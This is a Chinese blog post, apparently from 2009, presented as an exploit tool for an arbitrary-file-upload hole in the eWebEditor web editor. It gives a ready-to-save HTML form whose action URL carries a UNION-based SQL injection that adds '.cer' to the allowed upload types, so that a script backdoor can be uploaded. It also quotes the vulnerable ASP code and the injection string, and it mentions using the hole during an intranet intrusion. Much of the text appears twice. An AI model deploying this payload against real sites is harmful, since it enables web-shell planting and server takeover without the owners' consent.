ewebeditor上传任意文件漏洞利用工具
[ 2009-09-26 10:14:00 | 作者: admin ]
注意有些版本没有此漏洞,具体什么版本号,我没有测试,大家在利用前先确定版本号,以确认有漏洞,要不然下面的文章会测试不成功!
http://www.qhwins.com/ShowNews/?11-20095317001981643.html
作者的思路很妙,利用UNION语句,将执行结果调出来,然后加入自定义的文件后辍名,真是好办法,这种方法除了在这里可以用到,我想在以后的入侵过种中还会发挥很大的作用,作者说用NC抓包提交就可以做到上传木马,但是那个东东修改数据包,修改发送字节数之类的很麻烦,稍不留心就会失败,服务器返回提交参数错误之类的信息,看了很不爽,我用NC试了两次都没成功,一不做,二不休,我干脆做成一个HTML的,方便使用,直接给出代码如下:
<HTML>
<HEAD>
<TITLE>文件上传</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}
body {padding:0px;margin:0px}
</style>
</head>
<body bgcolor=menu>司
<form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value">
<input type=hidden name=originalfile value=""><input name="" type="submit" value="提交">
</form>
</body>
</html>
利用的时候,直接把上面的代码存成HTML文件,ACTION中指定上传文件的路径,直接上传CER文件,搞定!祝大家玩的开心一点!
评论Feed: http://blog.xg98.com/feed.asp?q=comment&id=1290
http://www.qhwins.com/ShowNews/?11-20095317001981643.html
作者的思路很妙,利用UNION语句,将执行结果调出来,然后加入自定义的文件后辍名,真是好办法,这种方法除了在这里可以用到,我想在以后的入侵过种中还会发挥很大的作用,作者说用NC抓包提交就可以做到上传木马,但是那个东东修改数据包,修改发送字节数之类的很麻烦,稍不留心就会失败,服务器返回提交参数错误之类的信息,看了很不爽,我用NC试了两次都没成功,一不做,二不休,我干脆做成一个HTML的,方便使用,直接给出代码如下:
<HTML>
<HEAD>
<TITLE>文件上传</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}
body {padding:0px;margin:0px}
</style>
</head>
<body bgcolor=menu>司
<form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value">
<input type=hidden name=originalfile value=""><input name="" type="submit" value="提交">
</form>
</body>
</html>
利用的时候,直接把上面的代码存成HTML文件,ACTION中指定上传文件的路径,直接上传CER文件,搞定!祝大家玩的开心一点!
引用
目前网上流传太多ewebeidtor的修改版 lite版、216版的ewebeditor 存在一个注入漏洞 之后一个版也存在这样的问题。前段时间拉至尊宝渗透一内网时发现这个东西。无后台 无法登陆 默认数据库 但用处也不大,所以就深刻研究了下这个注入 发现可以通过union 来控制允许上传类型的列表,随后时间成功利用此漏洞拿了不少东西,分享下。漏洞文件是upload.asp
ASP/Visual Basic代码
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sUploadDir = oRs("S_UploadDir")
sUploadDir = Replace(sUploadDir, "", "/")
If Right(sUploadDir, 1) <> "/" Then
sUploadDir = sUploadDir & "/"
End If
Select Case sType
Case "FILE"
sAllowExt = oRs("S_FileExt")
nAllowSize = oRs("S_FileSize")
Case "MEDIA"
sAllowExt = oRs("S_MediaExt")
nAllowSize = oRs("S_MediaSize")
Case "FLASH"
sAllowExt = oRs("S_FlashExt")
nAllowSize = oRs("S_FlashSize")
Case Else
sAllowExt = oRs("S_ImageExt")
nAllowSize = oRs("S_ImageSize")
End Select
Else
OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')") End If
oRs.Close
' 任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub sStyleName
变量是直接从style中读取到没有经过任何过滤,我们要做的就是通过 union 增加一个sAllowExt类型 构造SQL代码upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize
,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a union要之前的select结果为空(这个好办) 。同时要知道字段数(下载到数据库查也能查到了) ,我使用[S_ImageExt]+'|cer'使S_ImageExt中加入"|cer"串。用NC发包就可以上传木马了。
针对没有后台 有默认数据库 或者猜解不到密码的时候 可以用此方法试下 默认库中会泄露ewebeditor的版本信息的
ASP/Visual Basic代码
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sUploadDir = oRs("S_UploadDir")
sUploadDir = Replace(sUploadDir, "", "/")
If Right(sUploadDir, 1) <> "/" Then
sUploadDir = sUploadDir & "/"
End If
Select Case sType
Case "FILE"
sAllowExt = oRs("S_FileExt")
nAllowSize = oRs("S_FileSize")
Case "MEDIA"
sAllowExt = oRs("S_MediaExt")
nAllowSize = oRs("S_MediaSize")
Case "FLASH"
sAllowExt = oRs("S_FlashExt")
nAllowSize = oRs("S_FlashSize")
Case Else
sAllowExt = oRs("S_ImageExt")
nAllowSize = oRs("S_ImageSize")
End Select
Else
OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')") End If
oRs.Close
' 任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub sStyleName
变量是直接从style中读取到没有经过任何过滤,我们要做的就是通过 union 增加一个sAllowExt类型 构造SQL代码upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize
,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a union要之前的select结果为空(这个好办) 。同时要知道字段数(下载到数据库查也能查到了) ,我使用[S_ImageExt]+'|cer'使S_ImageExt中加入"|cer"串。用NC发包就可以上传木马了。
针对没有后台 有默认数据库 或者猜解不到密码的时候 可以用此方法试下 默认库中会泄露ewebeditor的版本信息的
[最后修改由 admin, 于 2010-05-02 10:33:24]
![评论Feed](styles/default/images/rss_comment.png)
这篇日志没有评论。
此日志不可发表评论。